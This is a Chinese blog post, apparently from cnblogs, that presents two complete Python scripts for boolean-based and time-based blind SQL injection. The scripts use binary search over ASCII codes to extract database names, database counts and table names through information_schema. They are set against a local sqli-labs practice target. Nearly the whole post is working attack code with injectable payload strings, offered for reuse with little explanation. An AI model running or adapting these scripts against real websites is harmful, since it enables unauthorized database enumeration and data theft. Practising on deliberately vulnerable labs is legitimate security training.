zoukankan      html  css  js  c++  java
  • sql盲注脚本--python

    1.布尔盲注--方便以后修改,难点仅仅在于使用二分法求name

    # 1.布尔盲注
    # 页面有不同的响应word1,word2
    # 可猜解数据库长度、个数、名字、表个数、表长度、名字、字段、
    # 长度:length,order by
    # 个数:count
    # 名字:ascii,substr
    import requests
    import time
    from math import ceil
    class SqlInject(object):
        headers = {
            "headers":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
        }
        data= {}
        @classmethod
        def judge(cls,url):
            if bool(SqlInject.data):
                result = None
                # print(result)
            else:
                result = requests.get(url=url,headers=SqlInject.headers,timeout=5).text
                return result
        def __init__(self,url,word1,word2):
            self.url = url
            self.word1=word1
            self.word2=word2
        #word1 in result we think you get result
        def get_Current_Db_Len(self):
            for i in range(1,20):
                payload = "?id=1%27+and+(length(database())={})--+".format(i)
                final_payload=self.url+payload
                result = SqlInject.judge(final_payload)
                if self.word1 in result:
                    print("database len:"+str(i)+"
    ")
                    return i
        #information db the number db
        def get_All_Db_Len(self,Db_number):
            for i in range(1,20):
                payload = "?id=1%27+and+(select+((select+length(concat(schema_name))+from+information_schema.schemata+limit+{},1)={}))--+".format(Db_number,i)
                final_payload=self.url+payload
                result = SqlInject.judge(final_payload)
                if self.word1 in result:
                    print("Database_len:"+str(i)+"
    ")
                    return i
        def get_All_Db_Number(self):
            for i in range(1,20):
                payload = "?id=1%27+and+(select+{}=(select count(*) from information_schema.schemata))--+".format(i)
                final_payload=self.url+payload
                result = SqlInject.judge(final_payload)
                if self.word1 in result:
                    print("Db_number:"+str(i)+"
    ")
                    return i
        def get_Current_DbName(self):
            table_list = []
            #二分法获取数据库名
            Namelen = self.get_Current_Db_Len()
            TempLen = 0
            DbName = ""
            try:
                while(True):
                    temp_bottom = 33
                    temp_top = 126
                    while(True):
                        #当前ascii小于temp_top
                        payload = "?id=1%27+and+((ascii(substr(database(),{},1))) < {})--+".format(TempLen+1,temp_top)
                        final_payload=self.url+payload
                        result = SqlInject.judge(final_payload)
                        # print(final_payload)
                        if self.word1 in result:
                            temp_top = (temp_top-ceil((temp_top-temp_bottom)/2))
                            #循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
                            interval = ceil((temp_top-temp_bottom)/2)
                            continue
                        #当前ascii大于temp_top
                        payload = "?id=1%27+and+((ascii(substr(database(),{},1))) > {})--+".format(TempLen+1,temp_top)
                        final_payload=self.url+payload
                        result = SqlInject.judge(final_payload)
                        if self.word1 in result:
                            temp_bottom = temp_top
                            temp_top = temp_top + interval
                            continue
                        #当前ascii等于temp_top
                        payload = "?id=1%27+and+((ascii(substr(database(),{},1))) = {})--+".format(TempLen+1,temp_top)
                        final_payload=self.url+payload
                        result = SqlInject.judge(final_payload)
                        if interval == 0:
                            exit("unknown error about variable interval")
                        if self.word1 in result:
                            DbName += chr(temp_top)
                            print("Database_name:"+DbName)
                            TempLen += 1
                            break
                    if TempLen == Namelen:
                        table_list.append("Database_name:"+DbName)
                        break
            except Exception as e:
                print("Unknown error:",e)
            return table_list
        def get_All_Db_Name(self):
            number = self.get_All_Db_Number()
            Database_list = []
            for i in range(0,number):
                Database_Name = ""
                #二分法获取每个数据库名
                Namelen = self.get_All_Db_Len(i)
                TempLen = 0
                try:
                    while(True):
                        temp_bottom = 33
                        temp_top = 126
                        while(True):
                            #当前ascii小于temp_top
                            payload = "?id=1%27+and+(ascii(substr((select schema_name from information_schema.schemata limit {},1),{},1)) < {})--+".format(i,TempLen+1,temp_top)
                            final_payload=self.url+payload
                            result = SqlInject.judge(final_payload)
                            # print(final_payload)
                            if self.word1 in result:
                                temp_top = (temp_top-ceil((temp_top-temp_bottom)/2))
                                #循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
                                interval = ceil((temp_top-temp_bottom)/2)
                                continue
                            #当前ascii大于temp_top
                            payload = "?id=1%27+and+(ascii(substr((select schema_name from information_schema.schemata limit {},1),{},1)) > {})--+".format(i,TempLen+1,temp_top)
                            final_payload=self.url+payload
                            result = SqlInject.judge(final_payload)
                            if self.word1 in result:
                                temp_bottom = temp_top
                                temp_top = temp_top + interval
                                continue
                            #当前ascii等于temp_top
                            payload = "?id=1%27+and+(ascii(substr((select schema_name from information_schema.schemata limit {},1),{},1)) = {})--+".format(i,TempLen+1,temp_top)
                            final_payload=self.url+payload
                            result = SqlInject.judge(final_payload)
                            if interval == 0:
                                exit("unknown error about variable interval")
                            if self.word1 in result:
                                Database_Name += chr(temp_top)
                                print("Database_name:"+Database_Name)
                                TempLen += 1
                                break
                        if TempLen == Namelen:
                            Database_list.append("Database_name:"+Database_Name)
                            break
                except Exception as e:
                    print("Unknown error:",e)
            return Database_list
        def get_CurrentDb_Table_Number(self):
            for i in range(1,20):
                payload = "?id=1%27+and+(select+{}=(select+count(*)+from+information_schema.tables+where+table_schema=database()))--+".format(i)
                final_payload=self.url+payload
                result = SqlInject.judge(final_payload)
                if self.word1 in result:
                    print("Table_number:"+str(i)+"
    ")
                    return i
        def get_CurrentDb_TableName_Len(self,table_number):
            for i in range(1,20):
                payload = "?id=1%27+and+(select+((select+length(concat(table_name))+from+information_schema.tables+where+table_schema=database()+limit+{},1)={}))--+".format(table_number,i)
                final_payload=self.url+payload
                result = SqlInject.judge(final_payload)
                if self.word1 in result:
                    print("TableName_number:"+str(i)+"
    ")
                    return i
        def get_CurrentDb_Table_Name(self):
            number = self.get_CurrentDb_Table_Number()
            table_list = []
            for i in range(0,number):
                table_name = ""
                #二分法获取每个表名
                Namelen = self.get_CurrentDb_TableName_Len(i)
                TempLen = 0
                try:
                    while(True):
                        temp_bottom = 33
                        temp_top = 126
                        while(True):
                            #当前ascii小于temp_top
                            payload = "?id=1%27+and+(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1)) < {})--+".format(i,TempLen+1,temp_top)
                            final_payload=self.url+payload
                            result = SqlInject.judge(final_payload)
                            # print(final_payload)
                            if self.word1 in result:
                                temp_top = (temp_top-ceil((temp_top-temp_bottom)/2))
                                #循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
                                interval = ceil((temp_top-temp_bottom)/2)
                                continue
                            #当前ascii大于temp_top
                            payload = "?id=1%27+and+(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1)) > {})--+".format(i,TempLen+1,temp_top)
                            final_payload=self.url+payload
                            result = SqlInject.judge(final_payload)
                            if self.word1 in result:
                                temp_bottom = temp_top
                                temp_top = temp_top + interval
                                continue
                            #当前ascii等于temp_top
                            payload = "?id=1%27+and+(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1)) = {})--+".format(i,TempLen+1,temp_top)
                            final_payload=self.url+payload
                            result = SqlInject.judge(final_payload)
                            if interval == 0:
                                exit("unknown error about variable interval")
                            if self.word1 in result:
                                table_name += chr(temp_top)
                                print("Table_name:"+table_name)
                                TempLen += 1
                                break
                        if TempLen == Namelen:
                            table_list.append("Table_name:"+table_name)
                            break
                except Exception as e:
                    print("Unknown error:",e)
            return table_list
    def main():
        url="http://127.0.0.1:8081/Less-8/"
        word1="You are in"
        word2="You are not in"
        sqli = SqlInject(url=url,word1=word1,word2=word2)
        one = float(time.time())
        print(sqli.get_CurrentDb_Table_Name())
        two = float(time.time())
        interval = two-one
        print(interval)
    if __name__ == '__main__':
        main()
    

    2.时间盲注--方便以后修改,难点仅仅在于使用二分法求name

    
    # 1.时间盲注
    # 页面有不同的响应word1,word2
    # 可猜解数据库长度、个数、名字、表个数、表长度、名字、字段、
    # 长度:length,order by
    # 个数:count
    # 名字:ascii,substr
    import requests
    import time
    from math import ceil
    class SqlInject(object):
        headers = {
            "headers":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
        }
        data= {}
        @classmethod
        def judge(cls,url):
            if bool(SqlInject.data):
                result = None
                # print(result)
            else:
                result = requests.get(url=url,headers=SqlInject.headers,timeout=5).text
                return result
        def __init__(self,url,word1,word2):
            self.url = url
            self.word1=word1
            self.word2=word2
        #word1 in result we think you get result
        def get_Current_Db_Len(self):
            for i in range(1,20):
                payload = "?id=1+and+if(length(database())={},sleep(0.4),0)--+".format(i)
                final_payload=self.url+payload
                one = time.time()
                result = SqlInject.judge(final_payload)
                two = time.time()
                interval = two-one
                if interval >= 0.4:
                    print("Database len:"+str(i)+"
    ")
                    return i
        #information db the number db
        def get_All_Db_Len(self,Db_number):
            for i in range(1,20):
                payload = "?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schemata+limit+{},1)={},sleep(0.4),0)--+".format(Db_number,i)
                final_payload=self.url+payload
                one = time.time()
                result = SqlInject.judge(final_payload)
                two = time.time()
                interval = two-one
                if interval >= 0.4:
                    print("Database_len:"+str(i)+"
    ")
                    return i
        def get_All_Db_Number(self):
            for i in range(1,20):
                payload = "?id=1+and+if((select+count(*)+from+information_schema.schemata)={},sleep(1),0)--+".format(i)
                final_payload=self.url+payload
                one = time.time()
                result = SqlInject.judge(final_payload)
                two = time.time()
                interval = two-one
                if interval >= 1:
                    #解决可能由于网速引起的错误
                    if i == 1:
                        self.get_All_Db_Number()
                    print("Db_number:"+str(i)+"
    ")
                    return i
        def get_Current_DbName(self):
            table_list = []
            #二分法获取数据库名
            Namelen = self.get_Current_Db_Len()
            TempLen = 0
            DbName = ""
            try:
                while(True):
                    temp_bottom = 33
                    temp_top = 126
                    interval = ceil((temp_top-temp_bottom)/2)
                    while(True):
                        #当前ascii小于temp_top
                        payload = "?id=1+and+if(ascii(substr(database(),{},1)) < {},sleep(0.4),0)--+".format(TempLen+1,temp_top)
                        final_payload=self.url+payload
                        one = time.time()
                        result = SqlInject.judge(final_payload)
                        two = time.time()
                        time_interval = two-one
                        if time_interval >= 0.4:
                            temp_top = (temp_top-ceil((temp_top-temp_bottom)/2))
                            #循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
                            interval = ceil((temp_top-temp_bottom)/2)
                            continue
                        #当前ascii大于temp_top
                        payload = "?id=1+and+if(ascii(substr(database(),{},1)) > {},sleep(0.4),0)--+".format(TempLen+1,temp_top)
                        final_payload=self.url+payload
                        one = time.time()
                        result = SqlInject.judge(final_payload)
                        two = time.time()
                        time_interval = two-one
                        if time_interval >= 0.4:
                            temp_bottom = temp_top
                            temp_top = temp_top + interval
                            continue
                        #当前ascii等于temp_top
                        payload = "?id=1+and+if(ascii(substr(database(),{},1)) = {},sleep(0.4),0)--+".format(TempLen+1,temp_top)
                        final_payload=self.url+payload
                        one = time.time()
                        result = SqlInject.judge(final_payload)
                        two = time.time()
                        time_interval = two-one
                        if time_interval >= 0.4:
                            DbName += chr(temp_top)
                            print("Database_name:"+DbName)
                            TempLen += 1
                            break
                    if TempLen == Namelen:
                        table_list.append("Database_name:"+DbName)
                        break
            except Exception as e:
                print("Unknown error:",e)
            return table_list
        def get_All_Db_Name(self):
            number = self.get_All_Db_Number()
            Database_list = []
            for i in range(0,number):
                Database_Name = ""
                #二分法获取每个数据库名
                Namelen = self.get_All_Db_Len(i)
                TempLen = 0
                try:
                    while(True):
                        temp_bottom = 33
                        temp_top = 126
                        interval = ceil((temp_top-temp_bottom)/2)
                        while(True):
                            #当前ascii小于temp_top
                            payload = "?id=1+and+if(ascii(substr((select schema_name from information_schema.schemata limit {},1),{},1)) < {},sleep(0.4),0)--+".format(i,TempLen+1,temp_top)
                            final_payload=self.url+payload
                            one = time.time()
                            result = SqlInject.judge(final_payload)
                            two = time.time()
                            time_interval = two-one
                            if time_interval >= 0.4:
                                temp_top = (temp_top-ceil((temp_top-temp_bottom)/2))
                                #循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
                                interval = ceil((temp_top-temp_bottom)/2)
                                continue
                            #当前ascii大于temp_top
                            payload = "?id=1+and+if(ascii(substr((select schema_name from information_schema.schemata limit {},1),{},1)) > {},sleep(0.4),0)--+".format(i,TempLen+1,temp_top)
                            final_payload=self.url+payload
                            one = time.time()
                            result = SqlInject.judge(final_payload)
                            two = time.time()
                            time_interval = two-one
                            if time_interval >= 0.4:
                                temp_bottom = temp_top
                                temp_top = temp_top + interval
                                continue
                            #当前ascii等于temp_top
                            payload = "?id=1+and+if(ascii(substr((select schema_name from information_schema.schemata limit {},1),{},1)) = {},sleep(0.4),0)--+".format(i,TempLen+1,temp_top)
                            final_payload=self.url+payload
                            one = time.time()
                            result = SqlInject.judge(final_payload)
                            two = time.time()
                            time_interval = two-one
                            if time_interval >= 0.4:
                                Database_Name += chr(temp_top)
                                print("Database_name:"+Database_Name)
                                TempLen += 1
                                break
                        if TempLen == Namelen:
                            Database_list.append("Database_name:"+Database_Name)
                            break
                except Exception as e:
                    print("Unknown error:",e)
            return Database_list
        def get_CurrentDb_Table_Number(self):
            for i in range(1,100):
                payload = "?id=1+and+if((select count(*) from information_schema.tables where table_schema =database()) = {},sleep(0.4),0)--+".format(i)
                final_payload=self.url+payload
                one = time.time()
                result = SqlInject.judge(final_payload)
                two = time.time()
                interval = two-one
                if interval >= 0.4:
                    print("TableNumber:"+str(i)+"
    ")
                    return i
        def get_CurrentDb_Table_Len(self,table_number):
            for i in range(1,20):
                payload = "?id=1+and+if((select+length(concat(table_name))+from+information_schema.tables where table_schema=database()+limit+{},1)={},sleep(0.4),0)--+".format(table_number,i)
                final_payload=self.url+payload
                one = time.time()
                result = SqlInject.judge(final_payload)
                two = time.time()
                interval = two-one
                if interval >= 0.4:
                    print("TableName_len:"+str(i)+"
    ")
                    return i
        def get_CurrentDb_Table_Name(self):
            number = self.get_CurrentDb_Table_Number()
            Table_list = []
            for i in range(0,number):
                Table_Name = ""
                #二分法获取每个数据库名
                Namelen = self.get_CurrentDb_Table_Len(i)
                TempLen = 0
                try:
                    while(True):
                        temp_bottom = 33
                        temp_top = 126
                        interval = ceil((temp_top-temp_bottom)/2)
                        while(True):
                            #当前ascii小于temp_top
                            payload = "?id=1+and+if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1)) < {},sleep(0.4),0)--+".format(i,TempLen+1,temp_top)
                            final_payload=self.url+payload
                            one = time.time()
                            result = SqlInject.judge(final_payload)
                            two = time.time()
                            time_interval = two-one
                            if time_interval >= 0.4:
                                temp_top = (temp_top-ceil((temp_top-temp_bottom)/2))
                                #循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
                                interval = ceil((temp_top-temp_bottom)/2)
                                continue
                            #当前ascii大于temp_top
                            payload = "?id=1+and+if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1)) > {},sleep(0.4),0)--+".format(i,TempLen+1,temp_top)
                            final_payload=self.url+payload
                            one = time.time()
                            result = SqlInject.judge(final_payload)
                            two = time.time()
                            time_interval = two-one
                            if time_interval >= 0.4:
                                temp_bottom = temp_top
                                temp_top = temp_top + interval
                                continue
                            #当前ascii等于temp_top
                            payload = "?id=1+and+if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1)) = {},sleep(0.4),0)--+".format(i,TempLen+1,temp_top)
                            final_payload=self.url+payload
                            one = time.time()
                            result = SqlInject.judge(final_payload)
                            two = time.time()
                            time_interval = two-one
                            if time_interval >= 0.4:
                                Table_Name += chr(temp_top)
                                print("Table_name:"+Table_Name)
                                TempLen += 1
                                break
                        if TempLen == Namelen:
                            Table_list.append("Table_name:"+Table_Name)
                            break
                except Exception as e:
                    print("Unknown error:",e)
            return Table_list
    
    
    def main():
        url="http://127.0.0.1:8081/Less-2/"
        word1="You are in"
        word2="You are not in"
        sqli = SqlInject(url=url,word1=word1,word2=word2)
        one = float(time.time())
        print(sqli.get_All_Db_Name())
        two = float(time.time())
        interval = two-one
        print(interval)
    if __name__ == '__main__':
        main()
    
  • 相关阅读:
    mysql timeout expired处理
    Git学习笔记(0)-错误汇总
    auto_ptr源码剖析
    谈谈工作中遇到的系统优化问题
    js 面向对象
    js API
    js 闭包
    js 重载(overload)
    css 文本单行、多行超出省略
    es6 字符串String的扩展
  • 原文地址:https://www.cnblogs.com/qianxinggz/p/11776354.html
Copyright © 2011-2022 走看看